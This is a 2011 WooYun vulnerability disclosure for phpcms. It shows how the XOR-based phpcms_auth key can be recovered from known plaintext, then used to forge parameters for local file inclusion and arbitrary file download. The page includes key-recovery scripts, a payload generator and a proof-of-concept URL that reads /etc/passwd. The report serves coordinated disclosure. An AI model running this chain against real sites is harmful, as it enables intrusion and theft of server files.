当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(18) 关注此漏洞

缺陷编号: WooYun-2011-01795

漏洞标题: phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

相关厂商: 盛大网络

漏洞作者: c4rp3nt3r

提交时间: 2011-04-02 13:29

公开时间: 2011-05-02 21:00

漏洞类型: 文件包含

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计不当导致攻击界面扩大 phpcms 程序敏感数据泄漏 加密算法设计错误

8人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-04-02: 细节已通知厂商并且等待厂商处理中
2011-04-06: 厂商已经确认,细节仅向厂商公开
2011-04-16: 细节向核心白帽子及相关领域专家公开
2011-04-26: 细节向普通白帽子公开
2011-05-06: 细节向实习白帽子公开
2011-05-02: 细节向公众公开

简要描述:

phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。

详细说明:

phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞



by c4rp3nt3r@0x50sec.org

mail: c4rp3nt3r#gmail.com

HomePage:http://www.0x50sec.org



phpcms_auth函数是phpcms里面为了增强程序的安全性的一个加密函数,在play.php、down.php 、download.php等等文件用它来对用户提交的加密字符串进行解密,进入程序流程,如果我们可以控制了phpcms_auth函数的解密,我们就可以通过注射我们的恶意代码,进行攻击。

而phpcms_auth采用的是可逆的位异或算法,并且对加密的结果进行了base64编码。

对于位异或算法来说只要我们破解了密钥字符串$key我们就完全控制了这个函数的加密解密。

对于base64编码主要是处理某些加密后的不可见字符,但是这给了我们一个很好的机会:

就是说我们破解了$key之后,我们就可以不受magic_quotes_pgc的限制引入%00字符串进行阶段,或者引入引号发起其他攻击。

到此已经违背了这个程序设计的初衷,破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。



code 区域
// include/global.func.php
function phpcms_auth($txt, $operation = 'ENCODE', $key = '')
{
$key = $key ? $key : $GLOBALS['phpcms_auth_key'];
$txt = $operation == 'ENCODE' ? $txt : base64_decode($txt);
$len = strlen($key);
$code = '';

for($i=0; $i<strlen($txt); $i++){
$k = $i % $len; //循环使用密钥字符串对字符串逐位进行异或
$code .= $txt[$i] ^ $key[$k];
}
$code = $operation == 'DECODE' ? $code : base64_encode($code);
return $code;
}



对于$key的破解

对于位运算的异或运算,是可逆的,明文和密钥异或得到密文。如果我们知道密文并且知道一部分明文那么我们也就可以得到密钥,有了密钥我们就可以破解另一部分密文,当然也就可以对我们自己的明文进行加密,然后用我们精心构造的密文发起攻击了。



不幸的是phpcms的确给了我们可用来破解密钥的明文。

code 区域
// include/fields/downfile/output.inc.php

function downfile($field, $value)
{
$contentid = $this->contentid;
$mode = $this->fields[$field]['mode'];
$result = '';
if($mode)
{
$servers = $this->fields[$field]['servers'];
$downloadtype = $this->fields[$field]['downloadtype'];
$servers = explode("\n",$servers);
foreach($servers AS $k=>$server)
{
$server = explode("|",$server);
$serverurl = $server[1];
$a_k = urlencode(phpcms_auth("i=$contentid&s=$serverurl&m=1&f=$value&d=$downloadtype", 'ENCODE', AUTH_KEY));
$result .= "<a href='down.php?a_k=$a_k' target='_blank'>$server[0]</a>";
}
}
else
{
$a_k = urlencode(phpcms_auth("i=$contentid&m=0&f=$value", 'ENCODE', AUTH_KEY));
$result = "<a href='down.php?a_k=$a_k' target='_blank'>点击下载</a>";
}
return $result;
}



这个文件是用来生成静态html文件的,默认安装的phpcms某个软件的下载页面地址为:

http://127.0.0.1/n/phpcms/2011/0331/2.html



进入下载文件的下载地址为:

http://127.0.0.1/n/phpcms/down.php?a_k=GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

对加密字符串解密后为

密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

明文:i=2&s=&m=0&f=uploadfile/2011/0331/20110331121233766.zip&d=1

这里2.html的2就是数据库里id的值,如果没有设置镜像站点的话$serverurl为空

也就是说"i=2&s=&m=1&f="是不会变的,我们可以破解12位的密钥了。

默认的话密钥有20位,如果用户上传目录没修改的话我们知道的明文就有"i=2&s=&m=0&f=uploadfile"共23个字符,可以得到全部密钥了。

code 区域
<?
$key="i=2&s=&m=0&f=uploadfile";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';
$txt=base64_decode(urldecode($txt));
$len=strlen($key);
echo $len;
for($i=0;$i<strlen($key);$i++)
{
$code .= $txt[$i] ^ $key[$i];
}
echo $code;
?>



运行结果为:sIpeofogblFVCildZEwesIp

可以看到sIp开始下一个循环加密了,所以密钥就是:sIpeofogblFVCildZEwe



还有一点就是下载的时候我们可以得到文件名:20110331121233766.zip

d的值是下载文件的类型,假设我们不知道也不要紧

就是说明文:20110331121233766.zip&d=是已知的有24位

密文:GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D

code 区域
<?
$key="20110331121233766.zip&d=";
$txt='GnRCQxxbSQpfXGAwfhwcCDUkEwMaJRVKXVZeVk1cdWVyRl5Ua3RHVkB4QVdeVFxUVVpweDkAHEI%2BeEY%3D';

$txt=base64_decode(urldecode($txt));
$tlen=strlen($txt);
$klen=strlen($key);
for($i=1;$i<strlen($key);$i++)
{
$code .= $txt[$tlen-$i-1] ^ $key[$klen-$i];
}
echo $code."\n";
echo $tlen."\n";
?>



运行结果为:

EZdliCVFlbgofoepIsewEZd

59

来看phpcms_auth源码

code 区域
/*
...
$len = strlen($key);
...

for($i=0; $i<strlen($txt); $i++){
$k = $i % $len;
$code .= $txt[$i] ^ $key[$k];
}
...
*/





我们可以知道

$key[17]='E';

我们可以得到倒序的密钥字符串:

ewEZdliCVFlbgofoepIs



然后我们把字符串翻转过来终端下执行:



alone@Sh3llc0de:~$ echo 'ewEZdliCVFlbgofoepIs'|rev

sIpeofogblFVCildZEwe



我们的密钥字符串就是:sIpeofogblFVCildZEwe



到此我们已经从一个攻击者的角度破解出了密钥。接下来我们看看由此引发的几个安全问题

-------------------------------------



1.phpcms2008 sp2-sp4 本地文件包含漏洞

这个漏洞跟boblog刚爆出的任意变量覆盖漏洞有些相似,都是任意变量覆盖然后仅跟了一个本地文件包含。这种漏洞也是很好玩的,攻击的方法更灵活。

code 区域
//play.php
<?php
require dirname(__FILE__).'/include/common.inc.php';
if(!isset($a_k)) showmessage($LANG['illegal_parameters']);
//common.inc.php文件的全局变量机制已经将所有GPC数据导出为变量了
//所以$a_k=$_GET[$a_k];
$a_k = phpcms_auth($a_k, 'DECODE', AUTH_KEY); //这里是关键分析见上文

if(empty($a_k)) showmessage($LANG['illegal_parameters']);
unset($i, $m, $f, $p);
parse_str($a_k); //parse_str处理解密后的$a_k将导致变量覆盖
//通过覆盖下文的$mod 或者$templateid将触发本地文件包含漏洞
//由于我们提交的密文会经过phpcms_auth函数中base64解密的,所以直接无视magic_quotes_gpc的影响而可以NULL字符截断
//但是高版本的PHP修复了%00的攻击缺陷

if(isset($i)) $i = intval($i);
if(!isset($m)) showmessage($LANG['illegal_parameters']);

if(empty($f)) showmessage('地址失效');
if(preg_match('/\.php$/',$f) || strpos($f, ":\\")) showmessage('地址有误');
if(!$i || $m<0) showmessage($LANG['illegal_parameters']);
$allow_readpoint = 1;
// include global.fuc.php
/*
...
$M = $TEMP = array();
if(!isset($mod)) $mod = 'phpcms';
if($mod != 'phpcms')
{
isset($MODULE[$mod]) or exit($LANG['module_not_exists']);
$langfile = defined('IN_ADMIN') ? $mod.'_admin' : $mod;
@include PHPCMS_ROOT.'languages/'.LANG.'/'.$langfile.'.lang.php';
$M = cache_read('module_'.$mod.'.php');
}
...
*/
//此处通过上文的对$mod进行变量覆盖绕过下面的if语句
if($mod == 'phpcms')
{
$contentid = $i;
include 'admin/content.class.php';
$content = new content;
$data = $content->get($contentid);
$readpoint = $data['readpoint'];

$title = $data['title'];
$keys = array_keys($data);

if(in_array('groupids_view',$keys))
{
if($data['groupids_view'])
{
if(!$priv_group->check('contentid', $contentid, 'view', $_groupid)) showmessage('您没有查看权限');
}
if(in_array('readpoint', $keys))
{
$C = cache_read('category_'.$data['catid'].'.php');
if($C['defaultchargepoint'] || !empty($readpoint))
{
$readpoint = $readpoint ? $readpoint : $C['defaultchargepoint'];
$pay = load('pay_api.class.php', 'pay', 'api');
if($C['repeatchargedays'])
{
if($pay->is_exchanged($contentid, $C['repeatchargedays']) === FALSE)
{
$allow_readpoint = 0;
}
}
else
{
session_start();
if($_SESSION['pay_contentid'] != $contentid) $allow_readpoint = 0;
}
}
}
}
}


$player = load('player.class.php');
$result = $player->get($p);
@extract($result);
$videourl = trim($f);
$code = str_replace('{$filepath}',$videourl, $code);
$code = str_replace('{$PHPCMS[siteurl]}', $PHPCMS['siteurl'], $code);
$code = str_replace('{$PHPCMS[sitename]}', $PHPCMS['sitename'], $code);
$templateid = $templateid ? $templateid : 'play';
include template($mod, $templateid);
/*
// include/global.fuc.php
// function template 起到一个连接字符串的作用

function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}

*/
?>





接下来生成我们的攻击字符串:

<?php

$key='sIpeofogblFVCildZEwe';

$evil='i=1&m=1&f=fuck&mod=../../../../../../../etc/passwd%00&c4rp3nt3r=0x50sec.org';

//经过parse_str($evil);后c4rp3nt3r变量并没有被创建

//这个地方我也不是很明白为什么可以进行截断

//但事实上真的可以截断



$evil = phpcms_auth($evil, 'ENCODE', $key);

echo $evil."\n";

function phpcms_auth($txt, $operation = 'ENCODE', $key)

{

$txt = $operation == 'ENCODE' ? $txt : base64_decode($txt);

$len = strlen($key);

$code = '';



for($i=0; $i<strlen($txt); $i++){

$k = $i % $len;

$code .= $txt[$i] ^ $key[$k];

}

$code = $operation == 'DECODE' ? $code : base64_encode($code);

return $code;

}

?>



alone@Sh3llc0de:/var/www$ php v.php

GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL



POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL

成功包含了/etc/passwd



2.phpcms2008 sp2-sp4、PHPCMS V9 正式版任意文件下载漏洞



以phpcms2008为例



down.php 和download.php都存在这个漏洞,具体利用跟上面的文件包含差不多就不多罗嗦了,成功利用此漏洞可以下载任意文件,包括.php后缀的文件。

只是download.php的加密方式是:

//download.php

...

$phpcms_auth_key = md5(AUTH_KEY.$_SERVER['HTTP_USER_AGENT']);



$a_k = phpcms_auth($a_k, 'DECODE', $phpcms_auth_key);

...

这样可能主要是为了仿制迅雷等浏览器的下载。但是既然我们知道了AUTH_KEY(见上文分析的密钥$key),$_SERVER['HTTP_USER_AGENT']是由用户提交的,那么$phpcms_auth_key 我们自然也就知道了。

除了上面说的知道部分明文来算$key,还有可能暴力破解$key.

还有就是经过md5加密后也未必就更安全,因为系统生成的$key有20位但是每一位都肯能个是大写或者小写字母,也就是有52种可能,但是经过md5加密后每一位就变成只有16种可能了,大大增加了被暴力破解的可能性。



全文结束

参考和致谢:

80vul.com《高级PHP应用程序漏洞审核技术》

Ryat[puretot] 《bo-blog任意变量覆盖漏洞》

漏洞证明:

code 区域
POC:http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKCTUhSktdZl5LQEhBSExCaXhtRkJKdWtZShY9E0ofBxwUFQhjZnNPD1AoNUQLB3oCWF8eWlcRCSV4LBsL





修复方案:

版权声明:转载请注明来源 c4rp3nt3r@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2011-04-06 10:05

厂商回复:

谢谢c4rp3nt3r提交漏洞。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2011-04-02 13:45 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    牛逼逼

  2. 2011-04-02 13:54 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    1

    标题写错了应该是任意变量覆盖漏洞!请wooyun的大牛改一下标题吧~~~

  3. 2011-04-02 14:59 | pg5yl8 ( 实习白帽子 | Rank:91 漏洞数:12 | 我神马都不会 但我常常被人日 这是为神马呢)
    1

    牛逼哄哄啊

  4. 2011-04-02 17:06 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    2

    点击输入评论ddd内容

  5. 2011-04-02 17:31 | GaRY ( 实习白帽子 | Rank:39 漏洞数:3 | 真悲剧平男君)
    2

    好漏洞

  6. 2011-04-03 10:07 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)
    2

    phpcms_auth解密?赶紧公开下。。。

  7. 2011-04-03 18:38 | webshell ( 实习白帽子 | Rank:62 漏洞数:19 | hello word.)
    1

    如果真的有这个漏洞,那么就会倒下一大片了。

  8. 2011-04-03 19:00 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    1

    一个本地包含结合别的漏洞可以写shell~~~

  9. 2011-04-08 12:17 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    1

    分析好像有错误,magic_quotes_gpc=On可能不能用%00截断,但这不是重点。 一个密钥泄漏、一个任意变量覆盖、一个本地包含、一个任意文件下载就值5rank????????????? 平均一个1rank????????????? 本地包含成功利用就能写shell,危害等级还很低???? 我承认我蛋疼了~~~

  10. 2011-04-11 17:02 | ( 实习白帽子 | Rank:35 漏洞数:20 | 关注网络安全,关注漏洞研究)
    1

    好漏洞

  11. 2011-04-12 22:07 | t00000by57 ( 实习白帽子 | Rank:45 漏洞数:5 | Access Denied.)
    1

    好漏洞啊 结合本地包含无敌了

  12. 2011-05-03 11:17 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术. PKAV已经暂停...)
    1

    厂商真是不给力啊..5点rank...好吧..

  13. 2011-05-03 20:24 | saga ( 路人 | Rank:11 漏洞数:2 | 世界上只有10种人,懂二进制的,和不懂二进...)
    1

    5 r ~~~

  14. 2011-05-04 14:50 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    2

    盛大垃圾

  15. 2012-10-30 11:46 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)
    0

    仔细拜读下

  16. 2012-11-22 02:01 | Seay ( 实习白帽子 | Rank:65 漏洞数:8 )
    0

    学习了

登录后才能发表评论,请先 登录